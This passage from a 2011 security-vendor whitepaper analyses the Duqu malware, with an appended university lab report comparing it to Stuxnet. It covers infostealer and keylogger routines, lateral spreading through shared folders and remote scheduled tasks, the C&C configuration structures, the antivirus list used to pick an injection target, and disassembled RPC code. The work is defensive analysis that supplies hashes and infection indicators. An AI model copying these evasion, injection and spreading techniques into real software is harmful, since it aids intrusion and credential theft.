If cmdfile isn’t present, a default encrypted command blob is used, stored as one of the infostealer’s resources.•
If logfile isn’t present, the log will be dumped to a random .tmp file in user’s %Temp% folder, prefixed with ~DQ •
(e.g. ~DQ7.tmp). Figure 13
Hubble image
W32.Duqu: The precursor to the next Stuxnet
Page 18Security Response
The other Infostealer’s resource is the Infostealer DLL itself, embedded in a .jpg file.
The executable simply loads the DLL inside winlogon or svchost, and executes the appropriate export:
_1 (unused), similar to _2•
_2 main•
_3 (unused), similar to _2•
_4 restart infostealer•
_5 quit infostealer•
The command blob determines what should be stolen and at which frequency.
The DLL offers nine main routines:
65h: List of running processes, account details, and domain information•
66h: Drive names and information, including those of shared drives•
68h: Take a screenshot•
69h: Network information (interfaces, routing tables, shares list, etc.)•
67h: Keylogger•
6Ah: Window enumeration•
6Bh: Share enumeration•
6Dh: File exploration on all drives, including removable drives•
6Eh: Enumerate computers on the domain through NetServerEnum•
The standard command blob (used when cmdfile is not specified) is:
65h, frequency=30 seconds•
66h, frequency=30 seconds•
68h, frequency=30 seconds•
69h, frequency=30 seconds•
67h, frequency=30 seconds•
6Ah, frequency=30 seconds•
6Bh, frequency=30 seconds•
6Dh, frequency=30 seconds•
Note: The threat only uses eight routines (6Eh is not used).
The log file contains records with the following fields:
Type •
Size •
Flags •
Timestamp •
Data•
Infostealer 2
We observed Duqu downloading this file on October 18 with MD5 92aa68425401ffedcfba4235584ad487, which
was compiled on Tuesday, August 09, 2011 at 21:37:39 PST. This file is very similar to the standalone infostealer
1 executable described previously; however, it is a DLL this time. It is also newer (August 9 vs. May 31 for the
executable) and offers less functionality than the executable. The functions offered are only seven stealing rou -
tines (nine previously).
These are:
List of running processes, plus account and domain•
List drive names and information, including shared drives•
Screenshot•
Network information (interfaces, routing tables, and shares list)•
Windows enumeration•
Share enumeration•
Share browse• W32.Duqu: The precursor to the next Stuxnet
Page 19Security Response
The following functions no longer exist:
Keylogger•
File exploration on all drives, including removable drives•
Domain’s servers enumeration (using NetServerEnum)•
Reconnaissance module
We observed Duqu downloading this file on October 18 with MD5 4c804ef67168e90da2c3da58b60c3d16,
which was compiled on Monday, October 17, 2011 at 17:07:47 PST. It is a reconnaissance module DLL used to get
system information. It obtains the following information:
Is the computer part of a domain?•
The current module name, PID, session ID, Windows folder, and %Temp% folder. •
OS version, including if it is 64-bit OS.•
Account name of the running process.•
Information on Network adapters.•
Time information, including local and system times, as well as time zone information and DST bias.•
Lifespan extender module
We observed Duqu downloading this file on October 18 with MD5 856a13fcae0407d83499fc9c3dd791ba, which
was compiled on Monday, October 17, 2011 at 16:26:09 PST. Used to increase the lifetime of the threat, it is a
small DLL that can be used to update the “daycount” field of the main configuration data block of Duqu. As previ -
ously described, Duqu checks this lifetime value, and removes itself if it falls outside the time period. The DLL
can also gather the size of files in the Windows folder (file names are caller-provided).
Replication
Network spreading
Based on forensic analysis of compromised com -
puters, we are able to understand how the attack -
ers moved laterally across the network and infect
further computers. Some of the methods used in
this case may vary from other attacked organiza -
tions as the behavior is not hard-coded into the
threat, but actively conducted by the attackers.
When Duqu first compromises a target network,
the threat contacts a C&C server. We know from
the initial analysis by CrySyS, and confirmed by
ourselves, that one of the files downloaded by
Duqu from the C&C server is a keylogger. This
keylogger enables the attacker to intercept pass -
words for the local network and any other services
accessed by the victim. Additional files down -
loaded from the C&C server allow the attacker
to survey the local network, finding additional
network servers and clients. When the attacker
has accumulated passwords and located various
computers of interest on the local network, he or
she can then begin the process of spreading Duqu
across the network.
The first step is to copy Duqu onto the target computer over a shared folder, as depicted in figure 14. The infect -
ing computer is able to authenticate to the target by using the credentials intercepted by the keylogger. The next
step is to trigger execution of that copied sample on the target computer. This is done by creating a scheduled
task on the target computer, which executes the copied version of Duqu. Figure 14
Spreading across the network
Target server
Initial infected
compute r
1. Send request to C&C server
2. Respo nse with command to begin sprea ding
3. Copy Duqu to target computer
4. Create remote schedule job
Command & Control
ServerW32.Duqu: The precursor to the next Stuxnet
Page 20Security Response
At this point Duqu is running on the target computer. The newly infected target computer does not connect back
to the C&C server to receive commands. Instead it checks its configuration file as it loads. This configuration file
instructs it to connect back to the infecting computer to receive commands, as described in the command and
contro l section.
Variants
The following section discusses the
differences seen in the minor variants
of Duqu.
CMI4432.SYS
This is functionally equivalent to JMI -
NET7.SYS except that CMI4432.SYS is
digitally signed. The signature informa -
tion is displayed in figure 15.
CMI4432.PNF
This file is a more recent variant of
netp191.pnf. The differences between
Netp191 and CMI4432.PNF are shown
in figure 16.
Further the RPC component (export 7) is removed from this variant as only a small portion of the RPC code was
being used for loading resource 302. This is the only part of the routine that remains and is not exposed through
RPC anymore. In addition, export 2, get_version, is also removed.
Figure 16
Differences between Duqu variants
Main DLL Main DLL
Mz file with
compressed data
inside.Netp191.pnf Cmi4 432.pn f
Resource 302 Resource 302 Data config info
Mz–
Loader
Threat config inf o
Mz–
Payload
Compressed DataData config info
Mz–
Loader
Threat config inf oExtracted
Mzfile
All four of these files
are the same:
•MzL oader
•MzP ayload
•DataC fg
•ThreatCf gThese files are identical except
for the compressed data.
The Mz–L oader has
no compressed data.Variant 1: Nov 4 2010 Variant 2: July 16 2011
DecompressExtract
&
Execute
Mz–
Payload Figure 15
CMI4432.SYS signature information
W32.Duqu: The precursor to the next Stuxnet
Page 21Security Response
Acknowledgements
We wish to thank CrySyS of Budapest University of Technology and Economics, who notified us of the sample,
provided their research and samples, and have continued to work with us.
Appendix
File hashes
Diagnostics
The following traces may indicate an infection of Duqu:
Unexpected connections to 206.183.111.97 or 77.241.93.160.•
The existence of the following registry entry: •
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\”CFID”
Unknown drivers in %System%\Drivers\.•
A services registry subkey with the following attributes:•
“ImagePath” matching the unknown driver found in %System%\Drivers•
“Start” = “1”•
“Type” = “1”•
“FILTER” has unknown hex data for a value•
“DisplayName”, “Description”, and “keyname” all match•
Drivers signed by unknown publishers that expire on August 2, 2012.• Table 4
Sample names and hashes
MD5File compilation
dateFile name Comment
0a566b1616c8afeef214372b1a0580c7 7/17/2011 7:12 cmi4432.pnf Encrypted DLL loaded by cmi4432.sys
0eecd17c6c215b358b7b872b74bfd800 11/3/2010 17:25 jminet7.sys Originally discovered file
3B51F48378A26F664BF26B32496BD72A adp55xx.sys Sys file
3d83b077d32c422d6c7016b5083b9fc2 10/17/2011 20:06 adpu321.sys Sys file obtained from VirusTotal
4541e850a228eb69fd0f0e924624b245 11/3/2010 17:25 cmi4432.sys Originally discovered file
4c804ef67168e90da2c3da58b60c3d16 10/18/2011 1:07 N/A Recon DLL pushed by the C&C
7A331793E65863EFA5B5DA4FD5023695 11/4/2010 16:48 iddr021.pnf main dll
856a13fcae0407d83499fc9c3dd791ba 10/18/2011 0:26 N/A “Lifetime” updater pushed by C&C
92aa68425401ffedcfba4235584ad487 8/10/2011 5:37 N/A Reduced functionality infostealer pushed by C&C
94c4ef91dfcd0c53a96fdc387f9f9c35 netp192.pnf Config file loaded by netp191.PNF
9749d38ae9b9ddd81b50aad679ee87ec 6/1/2011 3:25 keylogger.exe Originally discovered infostealer
a0a976215f619a33bf7f52e85539a513 10/17/2011 20:06 igdkmd16b.sys
a1d2a954388775513b3c7d95ab2c9067 11/3/2010 10:25 nfred965.sys
b4ac366e24204d821376653279cbad86 11/4/2010 16:48 netp191.PNF Encrypted DLL loaded by jminet7.sys
c9a31ea148232b201fe7cb7db5c75f5e 10/17/2011 20:06 nfred965.sys Sys file obtained from European organization
dccffd4d2fc6a602bea8fdc1fa613dd4 allide1.sys
e8d6b4dadb96ddb58775e6c85b10b6cc cmi4464.PNF Config file loaded by cmi4432.pnf
f60968908f03372d586e71d87fe795cd 11/3/2010 17:25 nred961.sys Sys file obtained from European organizationW32.Duqu: The precursor to the next Stuxnet
Page 22Security Response
Recent .pnf files in %Windir%\INF:•
Are either under 10K or ~200K in size•
Do not have a corresponding *.INF file•
Have no ASCII strings inside•
Unexpected scheduled tasks or job files. (These can be seen by unexpected modification time to the Tasks •
folder.)
An Event Log entry matching the following attributes:•
An EventID of 0xC0002719 or 3221235481•
Event type : 1 (Error)•
Event source : DCOM•
May have the following description: •
DCOM was unable to communicate with the computer (computer name) using any of the configured proto -
cols
RPC server with UUID {000207E3-0000-0000-C000000000000046}•
Command & Control Configuration Data
Connection Information Block – Client Table 5
Header
Size Name Value
BYTE Type 1 – server configuration block
0 – client configuration block
QWORD BitFlags Defines server protocol.
Bit 0 – HTTP, Bit 1 – Named pipe
CWSTR Path Path to save downloaded payload modules
CHAR[] Key Key for AES encryption
Table 6
Connection Information Block–Server
Size Name Value
CWSTR Name Server binding interface or name
WORD Port Listening port number
CHAR[] Key Key for AES encryption
Table 7
Client Header
Size Name Value
WORD TryCount Total number of times to retry each connection block
WORD[6] Flags Miscellaneous flags
DWORD Type Client block type
DWORD Size Size of blockW32.Duqu: The precursor to the next Stuxnet
Page 23Security Response
Table 9
Client Blocks – Type 1
Size Name Value
DWORD Flags Miscellaneous flags
WORD Port
DWORD Flags2 Miscellaneous flags
WORD Port
BYTE Method HTTP method and URL path
Bit 0 is 0 – GET, Bit 0 is 1 – POST
Bit 1 – use “/?”
Bit 2 – use “/?”
Bit 3 – use “/MULTIPART”
BYTE Proxy 0 – no proxy
1 – use proxy
2 – default
3 – retrieve
BYTE AuthenticatedProxy Use authenticated proxy
DWORD Cnt
WORD ProxyLength Length of the proxy server string
WORD ProxyUserLength Length of the proxy user string
WORD ProxyPassLength Length of the proxy password string
CWSTR ProxyAddress Proxy server address
CWSTR ProxyUser Proxy user name
CWSTR ProxyPassword Proxy password Table 8
Client Blocks – Type 0
Size Name Value
WORD Port Port number
BYTE Protocol0 – HTTP
1 – PIPE
2 - HTTPS
DWORD Flags Miscellaneous flags
CWSTR Server Server name or IP
CWSTR Pipename Pipename if applicable
CWSTR Username User name if required
CWSTR Password Password if requiredW32.Duqu: The precursor to the next Stuxnet
Page 24Security Response
Version history
Version 1.0 (October 18, 2011)
Initial publication.•
Version 1.1 (October 19, 2011)
Removed duplicate Note from Executive summary.•
Fixed minor typos.•
Version 1.2 (October 20, 2011)
Updated paper with information about latest samples.•
Replaced image in figure 3 with zoomable, vector graphic.•
Added Downloaded threats section. •
Expanded information in File hashes appendix.•
Added Version history section.•
Minor edits.•
Version 1.3 (November 1, 2011)
Added the following new sections:•
Geographic distribution •
Installation•
Peer-to-peer command and control•
Infostealer 2•
Reconnaissance module•
Lifespan extender module•
Replication•
Diagnostics•
Updated tables in File history and File hashes sections.•
Significant content updates throughout.•
Version 1.4 (November 23, 2011)
Added new Command and Control Servers section and Command & Control Configuration Data appendix.•
Updated Executive Summary, File history, Payload (.zdata DLL), Main DLL (NETP191.PNF) and Infostealer 1 •
sections with new information.
Replaced more images with zoomable, vector graphics.•
Other minor edits.• About Symantec
Symantec is a global leader in
providing security, storage and
systems management solutions to
help businesses and consumers
secure and manage their information.
Headquartered in Moutain View, Calif.,
Symantec has operations in more
than 40 countries. More information
is available at www.symantec.com.
For specific country offices and contact num -
bers, please visit our Web site. For product
information in the U.S., call
toll-free 1 (800) 745 6054.Symantec Corporation
World Headquarters
350 Ellis Street
Mountain View, CA 94043 USA
+1 (650) 527-8000
www.symantec.comCopyright © 2011 Symantec Corporation. All rights reserved.
Symantec and the Symantec logo are trademarks or registered
trademarks of Symantec Corporation or its affiliates in the
U.S. and other countries. Other names may be trademarks of
their respective owners.Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec
Corporation.
NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the
technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical
errors. Symantec reserves the right to make changes without prior notice.Security ResponseThe following is the analysis report from the research lab that first discovered the W32.Duqu
samples.
1. Introduction
Stuxnet is the most interesting piece of malware in the last few years, analyzed by hundreds
of security experts and the story told by thousands of newspapers. The main reason behind
the significant visibility is the targeted attack against the high profile, real‐life, industrial
target, which was considered as a thought experiment before. Experts have hypothesized
about the possibility of such a sophisticated attack, but Stuxnet rang the bell for a wider
audience about the impact of cyber attacks on critical infrastructures.
Surprisingly, the technical novelty of the individual components of the Stuxnet worm is not
astonishing. What is more interesting is the way how those different parts are combined
with each other to result in a powerful targeted threat against control systems used in
nuclear facilities. In fact, Stuxnet is highly modular, and this feature allows sophisticated
attackers to build a targeted attack from various pieces of code, similar to the way
carmakers build new cars from available parts. This modularity also means a new era for
malware developers, with a new business model pointing towards distributed labor where
malware developers can work simultaneously on different parts of the system, and modules
can be sold on underground markets.
In this document, we reveal the existence of and report about a malware found in the wild
that shows striking similarities to Stuxnet, including its modular structure, injection
mechanisms, and a driver that is digitally signed with a compromised key. We named the
malware “Duqu” as it’s key logger creates temporary files with names starting with “~DQ…”.
As researchers, we are generally concerned with understanding the impact of the malware
and designing appropriate defense mechanisms. This report makes the first steps towards
this goal. We describe the results of our initial analysis of Duqu, pointing out many
similarities to Stuxnet. We must note, however, that due to the limited available time for
preparing this report, many questions and issues remain unanswered or unaddressed.
Nevertheless, we hope that our report will still be useful for other security experts who
continue the analysis of Duqu. To help follow‐up activities, we discuss open questions at the
end of this document.
As a more general impact, we expect that this report will open a new chapter in the story of
Stuxnet. Duqu is not Stuxnet, but its structure and design philosophy are very similar to
those of Stuxnet. At this point in time, we do not know more about their relationship, but we
believe that the creator of Duqu had access to the source code of Stuxnet.
1 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 2. Main components
Upon discovering the suspicious software, we performed an initial analysis, and uncovered
three main groups of components in the software: A standalone keylogger tool, the
“Jminet7” group of objects, and the “cmi4432” group of objects as shown in Figure 1.
Figure 1 – Main components and their modules.
Keylogger
Registry data
jminet7.sys
(loader)
cmi4432.sys
(loader)
netp191.pnf
(payload)
netp192.pnf
(config)
cmi4432.pnf
(payload)
nep191_
res302.dll
netp191.zdata.
mz
cmi4432_
res302.dll
cmi4432_
203627 (exe?)
(comm module)
internal DLL
(keylogger)
cmi4464.pnf
(config) Registry data
The keylogger is a standalone .exe file that was found on an infected computer. It contains
an internal encrypted DLL, which delivers the keylogging functions, whereas the main
keylogger executable injects the DLL and controls the keylogging (screen logging, etc.)
process.
2 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. The jminet7 group of objects is working as follows: In the registry , a service is defined that
loads the jminet7.sys driver during the Windows bootup process. This kernel driver then
loads configuration data from itself and from the registry, and injects the netp191.pnf DLL
payload into a system process. Finally, some configuration data is stored in the netp192.pnf
encrypted configuration file.
The cmi4432 group of objects exhibits the same behavior: In the registry , a service is defined
that loads the cmi4432.sys driver during the Windows bootup process. This kernel driver
then loads configuration data from itself and from the registry, and injects the cmi4432.pnf
DLL payload into a system process. Finally, some configuration data is stored in the
cmi4464.pnf encrypted configuration file.
The jminet7 and the cmi4432 groups are very similar; they only differ in their payload. The
difference is tens of kilobytes in size. Also, the cmi4432.sys driver is signed and therefore can
be used e.g. on Windows 7 computers. It is not yet fully known if the two groups are
designed for different computer types or they can be used simultaneously. It is possible that
the rootkit (jminet7 or cmi4432) provides functionality to install and start the keylogger.
The similarities to the Stuxnet malware group start to show up first at this very abstract
module level. In case of Stuxnet, a service is defined in the registry that loads the mrxcls.sys
driver during the Windows bootup process. This kernel driver then loads configuration data
from itself (encrypted in the .sys file) and from the registry; and injects (among others) the
oem7a.pnf DLL payload into a system process. Finally, some configuration data is stored in
the mdmcpq3dd.pnf encrypted configuration file. This initial similarity motivated us to
perform a thorough analysis of the malware code. Our analysis uncovered similarities that
show a close relationship between the two malware groups.
We emphasize that there were only two known cases so far in which a malware used a
kernel driver with a valid digital signature: Stuxnet’s mrxcls.sys was signed by the key of
RealTek , and after the revocation of RealTek’s certificate, a new version contained the
signature of JMicron . Now, this list has a new member: cmi4432.sys contains a valid digital
signature of the Taiwanese manufacturer XXXXX.
3 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
2.1. Comparison of Stuxnet and Duqu at a glance
Feature Stuxnet Duqu
Modular malware 9 9
Kernel driver based rootkit 9 9 very similar
Valid digital signature on driver Realtek, JMicron XXXXX
Injection based on A/V list 9 9 seems based on Stux.
Imports based on checksum 9 9 different alg.
3 Config files, all encrypted, etc. 9 9 almost the same
Keylogger module ? 9
PLC functionality 9 8 (different goal)
Infection through local shares 9 No proof, but seems so
Exploits 9 ?
0‐day exploits 9 ?
DLL injection to system processes 9 9
DLL with modules as resources 9(many) 9 (one)
RPC communication 9 9
RPC control in LAN 9 ?
RPC Based C&C 9 ?
Port 80/443, TLS based C&C ? 9
Special “magic” keys, e.g. 790522, AE9 9 lots of similar
Virtual file based access to modules 9 9
Usage of LZO lib ? 9 multiple
Visual C++ payload 9 9
UPX compressed payload, 9 9
Careful error handling 9 9
Deactivation timer 9 9
Initial Delay ? Some 9 15 mins
Configurable starting in safe mode/dbg 9 9 (exactly same mech.)
Table 1 – Comparing Duqu and Stuxnet at the first glance
4 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. Feature oam7a.pnf (Stuxnet) netp191.pnf (Duqu)
Packer UPX UPX
Size 1233920 bytes 384512 bytes
Exported
functions # 21 8
ntdll.dll hooks ZwMapViewOfSection
ZwCreateSection
ZwOpenFile
ZwClose
ZwQueryAttributesFile
ZwQuerySection ZwMapViewOfSection
ZwCreateSection
ZwOpenFile
ZwClose
ZwQueryAttributesFile
ZwQuerySection
Resources 13
(201, 202, 203,205, 208, 209, 210,
220, 221,222, 240,241,242, 250) 1
(302)
Table 2 – Similarities and differences between the two main dlls
Table 1 and Table 2 compare the features of Stuxnet and Duqu. From the comparison, the
strong similarity between the threats becomes apparent. When we dive into the details of
the codes, we even see that both malwares hook the same ntddl.dll functions. Furthermore,
the sections of the two dlls are also very similar as Stuxnet contains only one extra section
called .xdata (Figure 3), but its characteristics are the same as the .rdata section of Duqu
(Figure 2).
Figure 2 – The sections of Duqu’s netp191 dll
5 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
Figure 3 – The sections of Stuxnet’s oem7a dll
There are also differences between the two codes. The main dll of Stuxnet (oam7a.pnf)
contains 21 exported functions (with dedicated roles), but netp191.pnf has only 8 exported
functions. The smaller number of functions is justified by the fact that Duqu does not contain
the power plant specific functionalities that Stuxnet does. However, the rest of this report
demonstrates that Duqu uses the mechanisms of Stuxnet via these functions.
6 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
2.2. Comparison of Duqu’s two main group of objects
netp191.zdata.mz Compressed file (dll) in
unknown format ??? (likely res302+comm.
module)
cmi4432.sys Kernel driver, loader of other
components
cmi4432.pnf UPX Injected DLL payload
cmi4432_res302.dll
(offset 203627) MS VC++ Private Version 1
[Overlay] Most likely, loader for the
comm. module
cmi4432_
203627.dll Communication module File Compiler/Packer Description
jminet7.sys Kernel driver, loader of other
components
nep191.pnf UPX Injected DLL payload
nep191_res302.dll
(offset 175192) MS VC++ Private Version 1
[Overlay] Internal part, ???
Table 3 – Comparing the two main group of objects
Table 3 summarizes a few pieces of information about the two main groups of objects we
identified in Duqu.
7 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
2.3. PE file dates
File Date
CMI4432.PNF 17/07/2011 06:12:41
cmi4432_res302.dll 21/12/2010 08:41:03
cmi4432_203627.dll 21/12/2010 08:41:29
netp191.PNF 04/11/2010 16:48:28
nep191_res302.dll 21/12/2010 08:41:03
Keylogger.exe 01/06/2011 02:25:18
Keylogger internal DLL 01/06/2011 02:25:16
Table 4 – Comparing dates of Duqu’s PE files
Table 4 shows the dates of Duqu’s each PE file.
2.4. Directory listing and hashes
The size, date and SHA1 sum of Duqu’s PE files are shown below.
192512 Sep 9 14.48 cmi4432.PNF
29568 Sep 9 15.20 cmi4432.sys
6750 Sep 9 14.48 cmi4464.PNF
24960 2008 Apr 14 jminet7.sys
85504 Aug 23 06.44 keylogger.ex
232448 2009 Feb 10 netp191.PNF
6750 2009 Feb 10 netp192.PNF
Sample 1 – File size, date and name – Directory listing of samples
192f3f7c40fa3aaa4978ebd312d96447e881a473 *cmi4432.PNF
588476196941262b93257fd89dd650ae97736d4d *cmi4432.sys
f8f116901ede1ef59c05517381a3e55496b66485 *cmi4464.PNF
d17c6a9ed7299a8a55cd962bdb8a5a974d0cb660 *jminet7.sys
723c71bd7a6c1a02fa6df337c926410d0219103a *keylogger.ex
8 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 3ef572cd2b3886e92d1883e53d7c8f7c1c89a4b4 *netp191.PNF
c4e51498693cebf6d0cf22105f30bc104370b583 *netp192.PNF
Sample 2 – sha1sum results for the samples
9 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
3. Injection mechanism
The registry information for Duqu’s jminet7.sys in unencrypted form is presented below:
0000000000: 00 00 00 00 01 00 00 00 │ 10 BB 00 00 01 00 03 00 ☺ ►» ☺ ♥
0000000010: 82 06 24 AE 1A 00 00 00 │ 73 00 65 00 72 00 76 00 ' ♠$R→ s e r v
0000000020: 69 00 63 00 65 00 73 00 │ 2E 00 65 00 78 00 65 00 i c e s . e x e
0000000030: 00 00 38 00 00 00 5C 00 │ 53 00 79 00 73 00 74 00 8 \ S y s t
0000000040: 65 00 6D 00 52 00 6F 00 │ 6F 00 74 00 5C 00 69 00 e m R o o t \ i
0000000050: 6E 00 66 00 5C 00 6E 00 │ 65 00 74 00 70 00 31 00 n f \ n e t p 1
0000000060: 39 00 31 00 2E 00 50 00 │ 4E 00 46 00 00 00 D2 9 1 . P N F Ň
Sample 3 – decrypted registry data for Duqu’s jminet7.sys
Knowing the operation of Stuxnet from previous analyses, visual inspection of the code hints
to the injection of “inf/netp191.PNF” into “services.exe”. Later, we will show that it also
commands that the encryption key of “0xAE240682” (offset 0x10) is used. The byte
sequence “1A 00 00 00” that follows the encryption key can also be found in the Stuxnet
registry. The only difference is that in Stuxnet the export that should be called is between
the key and the “1A 00 00 00” string, here it is before “01 00 03 00”. So after injection,
Export 1 should be called by the driver. The case of cmi4432.sys is the same, it is injected
into “services.exe” and then Export 1 is called.
4. Injection target
Duqu injection target selection is very similar to the mechanism of Stuxnet. For trusted
processes both look up a list of known antivirus products. In Duqu, this list is stored in 0xb3
0x1f XOR encrypted 0‐terminated strings. In the Resource 302 part of the cmi4432 payload
DLL the list is the following:
%A\Kaspersky Lab\AVP%v\Bases\*.*c
Mcshield.exe
SOFTWARE\KasperskyLab\protected\AVP80\environment
SOFTWARE\KasperskyLab\protected\AVP11\environment
SOFTWARE\KasperskyLab\protected\AVP10\environment
SOFTWARE\KasperskyLab\protected\AVP9\environment
SOFTWARE\KasperskyLab\protected\AVP8\environment
SOFTWARE\KasperskyLab\protected\AVP7\environment
SOFTWARE\kasperskylab\avp7\environment
SOFTWARE\kasperskylab\avp6\environment
ProductRoot
avp.exe
%C\McAfee\Engine\*.dat
SOFTWARE\McAfee\VSCore
szInstallDir32
10 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. avguard.exe
bdagent.exe
UmxCfg.exe
fsdfwd.exe
%C\Symantec Shared\VirusDefs\binhub\*.dat
rtvscan.exe
ccSvcHst.exe
ekrn.exe
%A\ESET\ESET Smart Security\Updfiles\*.nup
SOFTWARE\TrendMicro\NSC\TmProxy
InstallPath
tmproxy.exe
SOFTWARE\Rising\RIS
SOFTWARE\Rising\RAV
RavMonD.exe
Sample 4 – Duqu’s antivirus list (trusted processes) from cmi4432 res302 DLL
Basically, the list above is almost identical to the one in Stuxnet (even uses the same
ordering), the only difference is the addition of Rising Antivirus.
The outer part, cmi4432.dll contains some addition this list:
%A\Kaspersky Lab\AVP%v\Bases\*.*c
Mcshield.exe
SOFTWARE\KasperskyLab\protected\AVP80\environment
SOFTWARE\KasperskyLab\protected\AVP11\environment
SOFTWARE\KasperskyLab\protected\AVP10\environment
SOFTWARE\KasperskyLab\protected\AVP9\environment
SOFTWARE\KasperskyLab\protected\AVP8\environment
SOFTWARE\KasperskyLab\protected\AVP7\environment
SOFTWARE\kasperskylab\avp7\environment
SOFTWARE\kasperskylab\avp6\environment
ProductRoot
avp.exe
%C\McAfee\Engine\*.dat
SOFTWARE\McAfee\VSCore
szInstallDir32
avguard.exe
bdagent.exe
UmxCfg.exe
fsdfwd.exe
%C\Symantec Shared\VirusDefs\binhub\*.dat
rtvscan.exe
ccSvcHst.exe
ekrn.exe
%A\ESET\ESET Smart Security\Updfiles\*.nup
SOFTWARE\TrendMicro\NSC\TmProxy
InstallPath
tmproxy.exe
SOFTWARE\Rising\RIS
SOFTWARE\Rising\RAV
RavMonD.exe
360rp.exe
360sd.exe
Sample 5 – Antivirus list of cmi4432
11 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. 360rp.exe and 360sd.exe is added.
For netp191.PNF (DLL), both the external and the internal DLL contains only the first list of
antivirus products without 360rp.exe and 360sd.exe. The keylogger also contains the same
list including 360rp.exe and 360sd.exe.
%SystemRoot%\system32\lsass.exe
%SystemRoot%\system32\winlogon.exe
%SystemRoot%\system32\svchost.exe
Sample 6 – possible targets ‐ in our case lsass.exe was used.
The evolution of the list items corresponds to the file dates in the MZ headers. All the
exectuables whose header the year 2011 contain 360rp.exe and 360sd.exe (the earliest
example is the keylogger.exe with date 01/06/2011 02:25:18), while earlier components do
not contain 360rp.exe and 360sd.exe.
5. Exported functions
Figure 4 and Figure 5 show the exported functions of netp191.pnf and cmi4432.pnf,
respectively. While netp191.pnf contains 8 exports, cmi4432 lacks export number _3 and _7.
Each export has a specific role with similarities to the exports of Stuxnet’s main dll.
We could not yet identify the function of each export, except exports 1, 7, and 8, which are
responsible for RPC functions. Below, we describe our findings related to RPC.
First, exports _1 and _8 of netp191.pnf are essentially the same as the first (_1) and the last
(_32) exports of Stuxnet’s oam7a.pnf. In case of Stuxnet, these exports served to infect
removable devices and started an RPC server to communicate with other instances of the
malware. The only difference was that _1 started the RPC server with wait, while _32 did not
sleep before the start of the RPC server. In case of netp191.pnf, export _1 and export_8 are
also related to RPC communication and differ only in a few bits.
Figure 4 – The exports of netp191.pnf
12 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab.
Figure 5 – The exports of cmi4432.pnf
Export _7 of netp191.pnf is almost the same as the RPC server export _27 in Stuxnet. Thus,
we can assert that Duqu might have the same functionality to update itself from another
Duqu instance or from the C&C server. The main similarities between the two RPC server
initializations are highlighted in Sample 7 (Duqu) and Sample 8 (Stuxnet) . Note that there is
a slight mutation between the two samples, but despite of this, the implemented
functionalities are the same.
.text:100011A3 public RPC_Server_7
.text:100011A3 RPC_Server_7 proc near ; DATA XREF: .rdata:off_1001C308 o
.text:100011A3 mov eax, offset sub_1001B756
.text:100011A8 call Nothing_sub_10018C14
.text:100011AD sub esp, 10h
.text:100011B0 push ebx
.text:100011B1 push esi
.text:100011B2 push edi
.text:100011B3 mov [ebp-10h], esp
.text:100011B6 and dword ptr [ebp-4], 0
.text:100011BA lea esi, [ebp-18h]
.text:100011BD call sub_10008CBD
.text:100011C2 xor ebx, ebx
.text:100011C4 inc ebx
.text:100011C5 mov [ebp-4], bl
.text:100011C8 call sub_10008D9B
.text:100011CD call sub_1000778F
.text:100011D2 test al, al
.text:100011D4 jnz short loc_100011F2
.text:100011D6 mov [ebp-4], al
.text:100011D9 mov eax, esi
.text:100011DB push eax
.text:100011DC call each_export_calls_sub_10008CCD
.text:100011E1
.text:100011E1 loc_100011E1: ; DATA XREF: sub_1000122C+4 o
.text:100011E1 xor eax, eax
.text:100011E3 mov ecx, [ebp-0Ch]
.text:100011E6 mov large fs:0, ecx
.text:100011ED pop edi
.text:100011EE pop esi
.text:100011EF pop ebx
.text:100011F0 leave
.text:100011F1 retn
.text:100011F2 ; ---------------------------------------------------------------------------
.text:100011F2
.text:100011F2 loc_100011F2: ; CODE XREF: RPC_Server_7+31 j
.text:100011F2 call sub_10006C53
.text:100011F7 lea eax, [ebp-11h]
.text:100011FA push eax
.text:100011FB call sub_10001318
.text:10001200 mov eax, dword_1002A134
.text:10001205 cmp dword ptr [eax], 0
.text:10001208 jnz short loc_1000121B
.text:1000120A mov [ebp-1Ch], ebx
.text:1000120D push offset unk_1001FC18
.text:10001212 lea eax, [ebp-1Ch]
.text:10001215 push eax
.text:10001216 call Exception_Handler_sub_10013880
13 The content on this page has not been written by Symantec,
but has been provided courtesy of a third‐party research lab. .text:1000121B
.text:1000121B loc_1000121B: ; CODE XREF: RPC_Server_7+65 j
.text:1000121B mov eax, [eax]
.text:1000121D mov edx, [eax]
.text:1000121F mov ecx, eax
.text:10001221 call dword ptr [edx+8]
.text:10001224 push ebx ; dwExitCode
.text:10001225 push eax ; hLibModule
.text:10001226 call ds:FreeLibraryAndExitThread
.text:10001226 RPC_Server_7 endp
Sample 7 – Export function _7 in netp191.pnf
.text:10001CA2 public _27_RPCServer
.text:10001CA2 _27_RPCServer proc near ; DATA XREF: .rdata:off_10055518 o
.text:10001CA2 mov eax, offset loc_10052604
.text:10001CA7 call Nothing_sub_1004AB94
.text:10001CAC sub esp, 0Ch
.text:10001CAF push ebx
.text:10001CB0 push esi
.text:10001CB1 push edi
.text:10001CB2 mov [ebp-10h], esp
.text:10001CB5 and dword ptr [ebp-4], 0
.text:10001CB9 lea esi, [ebp-18h]
.text:10001CBC call sub_1002214A
.text:10001CC1 mov byte ptr [ebp-4], 1
.text:10001CC5 call sub_10022228
.text:10001CCA push 2
.text:10001CCC push offset dword_1005CCF0
.text:10001CD1 call sub_100226BB
.text:10001CD6 pop ecx
.text:10001CD7 pop ecx
.text:10001CD8 call sub_100319D2
.text:10001CDD test al, al
.text:10001CDF jnz short loc_10001CFD
